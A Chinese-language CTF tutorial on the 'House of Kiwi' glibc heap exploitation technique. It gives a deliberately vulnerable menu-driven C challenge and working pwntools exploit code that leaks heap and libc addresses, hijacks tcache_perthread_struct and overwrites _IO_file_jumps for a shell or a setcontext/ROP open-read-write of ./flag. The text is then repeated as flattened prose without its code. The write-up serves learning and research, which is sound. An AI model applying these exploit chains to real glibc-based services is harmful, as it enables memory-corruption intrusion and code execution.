house of kiwi(shell及orw例题分析)
字数 1721 2025-08-22 12:22:48

House of Kiwi 攻击手法详解

原理概述

House of Kiwi 是一种利用 glibc 中 __malloc_assert 函数触发 IO 流调用来实现程序流劫持的攻击手法。当程序正常调用 exit 退出时可以通过劫持 vtable 上的 _IO_overflow 来实现程序流劫持(如 FSOP),但如果程序调用 _exit 退出,则不会进行 IO 相关的清理工作。House of Kiwi 通过主动触发异常退出来调用 vtable 上的相关函数。

关键函数分析

在 glibc 2.35 及之前版本中,__malloc_assert 函数实现如下:

static void __malloc_assert(const char *assertion, const char *file, 
                          unsigned int line, const char *function) {
    (void)__fxprintf(NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
                    __progname, __progname[0] ? ": " : "", file, line,
                    function ? function : "", function ? ": " : "",
                    assertion);
    fflush(stderr);
    abort();
}

sysmalloc 中有一个检查 top chunk 页对齐的代码片段:

assert((old_top == initial_top(av) && old_size == 0) ||
       ((unsigned long)(old_size) >= MINSIZE &&
        prev_inuse(old_top) &&
        ((unsigned long)old_end & (pagesize - 1)) == 0));

当条件满足时会调用 __malloc_assert,进而调用 fflush(stderr),最终调用 _IO_fflush

攻击链分析

  1. fflush 最终会调用 _IO_fflush
  2. result = _IO_SYNC(fp) ? EOF : 0; 对应的汇编语句是 fflush+83 往后
  3. 其中 rbp 指向 _IO_file_jumps_,因此 call [rbp + 0x60] 调用的是 _IO_new_file_sync
  4. _IO_file_jumps_ 在 glibc 2.35 是可写的,可以覆盖其中的函数指针

Shell 例题分析

题目代码

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
            case 1: add_chunk(); break;
            case 2: delete_chunk(); break;
            case 3: edit_chunk(); break;
            case 4: show_chunk(); break;
            case 5: _exit(0);
            default: puts("invalid choice.");
        }
    }
}

利用步骤

  1. 泄露堆地址

    • 利用 tcache 的 safe-linking 机制泄露堆地址
    • safe-linking 对 next 指针进行运算:(pos >> 12) ^ ptr
  2. 劫持 tcache_perthread_struct

    • 通过 double free 等技术控制 tcache 管理结构
    • 修改 tcache 计数,使后续释放的 chunk 进入 unsorted bin
  3. 泄露 libc 地址

    • 通过 unsorted bin 泄露 main_arena 地址
  4. 任意地址写

    • 利用 tcache_perthread_struct 控制实现任意地址写
  5. House of Kiwi 利用

    • 修改 _IO_file_jumps 中的 _IO_new_file_sync 函数指针为 one_gadget 或 system
    • 或者修改 _IO_helper_jumps 配合 setcontext 实现 ORW

关键代码片段

# 泄露堆地址
add(0, 0x100)
add(1, 0x100)
add(2, 0x100)
free(0)
show(0)
heap_base = u64(io.recvuntil(b'\x05')[-5:].ljust(8, b'\x00')) << 12

# 劫持 tcache_perthread_struct
edit(0, p64(heap_base >> 12) + p64(0))
free(0)
edit(0, p64((heap_base >> 12 ^ (heap_base + 0x20))))
add(0, 0x100)
add(0, 0x100)
edit(0, b'\x00' * 14 + p16(0x7))

# 泄露 libc 地址
free(1)
show(1)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x1f2ce0

# 任意地址写函数
def arbitrary_address_write(address, content):
    align = address & 0xF
    address &= ~0xF
    edit(0, (b'\x00' * 14 + p16(0x7)).ljust(0xE8, b'\x00') + p64(address))
    add(1, 0x100)
    edit(1, b'\x00' * align + content)

# House of Kiwi 利用 (system)
arbitrary_address_write(libc.sym["_IO_2_1_stderr_"], b"/bin/sh\x00")
arbitrary_address_write(libc.sym["_IO_file_jumps"], p64(libc.sym["system"]) * 0x10)

# 触发
edit(2, b'\x00' * 0x110)
add(0, 0x300)

ORW 利用

当禁用 execve 时,可以使用 setcontext+61 配合 ROP 或 shellcode 实现 ORW。

setcontext+61 分析

mov rsp, [rdx + 0xA0h]
mov rbx, [rdx + 80h]
mov rbp, [rdx + 78h]
mov r12, [rdx + 48h]
mov r13, [rdx + 50h]
mov r14, [rdx + 58h]
mov r15, [rdx + 60h]
...
mov rcx, [rdx + 0xA8h]
push rcx
mov rsi, [rdx + 70h]
mov rdi, [rdx + 68h]
mov rcx, [rdx + 98h]
mov r8, [rdx + 28h]
mov r9, [rdx + 30h]
mov rdx, [rdx + 88h]
xor eax, eax
retn

ORW 利用代码

# 修改 _IO_file_jumps 中的 _IO_new_file_sync 为 setcontext+61
arbitrary_address_write(libc.sym['_IO_file_jumps'] + 0x60, p64(libc.sym['setcontext'] + 61))

# 准备 ROP 链
rop_addr = heap_base + 0x4c0
buf_addr = rop_addr + 0x70
rop = b''
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(3)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rdx; pop rbx; ret;'), executable=True)))
rop += p64(0x100) + p64(0)
rop += p64(libc.sym['read'])
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(libc.sym['puts'])
rop = rop.ljust(buf_addr - rop_addr, b'\x00')
rop += b'./flag'

# 构造 SigreturnFrame
frame = SigreturnFrame()
frame.rsp = rop_addr
frame.rdi = buf_addr
frame.rsi = 0
frame.rip = libc.sym['open']
frame = bytearray(bytes(frame))
frame[0x38:0x38+8] = p64(libc.sym['_IO_default_xsputn'])

# 修改 _IO_helper_jumps
arbitrary_address_write(libc.sym['__start___libc_IO_vtables'], bytes(frame))

# 触发
edit(2, rop.ljust(0x110, b'\x00'))
add(0, 0x300)

关键点说明

  1. frame[0x38:0x38+8] = p64(libc.sym['_IO_default_xsputn']) 是必要的,因为在调用 setcontext 前会执行 call [rbx + 0x38],而 rbx 指向 _IO_helper_jumps,需要确保这个位置是一个合法函数指针。

  2. 使用 __start___libc_IO_vtables 而非 _IO_helper_jumps 是因为内存中有多个 _IO_helper_jumps,前者指向第一个。

  3. ROP 链实现了以下功能:

    • 打开文件 (open)
    • 读取文件内容 (read)
    • 输出文件内容 (puts)

总结

House of Kiwi 提供了一种在程序中调用 IO 流的思路,主要利用点包括:

  1. 通过破坏 top chunk 触发 __malloc_assert
  2. 利用 fflush 调用链中的 vtable 函数指针
  3. 修改 _IO_file_jumps_IO_helper_jumps 实现控制流劫持
  4. 结合 setcontext+61 实现寄存器控制,完成复杂利用

该攻击手法在 glibc 2.36 之后受到限制,因为 __malloc_assert 函数被修改,2.37 后被完全移除。

House of Kiwi 攻击手法详解 原理概述 House of Kiwi 是一种利用 glibc 中 __malloc_assert 函数触发 IO 流调用来实现程序流劫持的攻击手法。当程序正常调用 exit 退出时可以通过劫持 vtable 上的 _IO_overflow 来实现程序流劫持(如 FSOP),但如果程序调用 _exit 退出,则不会进行 IO 相关的清理工作。House of Kiwi 通过主动触发异常退出来调用 vtable 上的相关函数。 关键函数分析 在 glibc 2.35 及之前版本中, __malloc_assert 函数实现如下: 在 sysmalloc 中有一个检查 top chunk 页对齐的代码片段: 当条件满足时会调用 __malloc_assert ,进而调用 fflush(stderr) ,最终调用 _IO_fflush 。 攻击链分析 fflush 最终会调用 _IO_fflush result = _IO_SYNC(fp) ? EOF : 0; 对应的汇编语句是 fflush+83 往后 其中 rbp 指向 _IO_file_jumps_ ,因此 call [rbp + 0x60] 调用的是 _IO_new_file_sync _IO_file_jumps_ 在 glibc 2.35 是可写的,可以覆盖其中的函数指针 Shell 例题分析 题目代码 利用步骤 泄露堆地址 : 利用 tcache 的 safe-linking 机制泄露堆地址 safe-linking 对 next 指针进行运算: (pos >> 12) ^ ptr 劫持 tcache_ perthread_ struct : 通过 double free 等技术控制 tcache 管理结构 修改 tcache 计数,使后续释放的 chunk 进入 unsorted bin 泄露 libc 地址 : 通过 unsorted bin 泄露 main_ arena 地址 任意地址写 : 利用 tcache_ perthread_ struct 控制实现任意地址写 House of Kiwi 利用 : 修改 _IO_file_jumps 中的 _IO_new_file_sync 函数指针为 one_ gadget 或 system 或者修改 _IO_helper_jumps 配合 setcontext 实现 ORW 关键代码片段 ORW 利用 当禁用 execve 时,可以使用 setcontext+61 配合 ROP 或 shellcode 实现 ORW。 setcontext+61 分析 ORW 利用代码 关键点说明 frame[0x38:0x38+8] = p64(libc.sym['_IO_default_xsputn']) 是必要的,因为在调用 setcontext 前会执行 call [rbx + 0x38] ,而 rbx 指向 _IO_helper_jumps ,需要确保这个位置是一个合法函数指针。 使用 __start___libc_IO_vtables 而非 _IO_helper_jumps 是因为内存中有多个 _IO_helper_jumps ,前者指向第一个。 ROP 链实现了以下功能: 打开文件 (open) 读取文件内容 (read) 输出文件内容 (puts) 总结 House of Kiwi 提供了一种在程序中调用 IO 流的思路,主要利用点包括: 通过破坏 top chunk 触发 __malloc_assert 利用 fflush 调用链中的 vtable 函数指针 修改 _IO_file_jumps 或 _IO_helper_jumps 实现控制流劫持 结合 setcontext+61 实现寄存器控制,完成复杂利用 该攻击手法在 glibc 2.36 之后受到限制,因为 __malloc_assert 函数被修改,2.37 后被完全移除。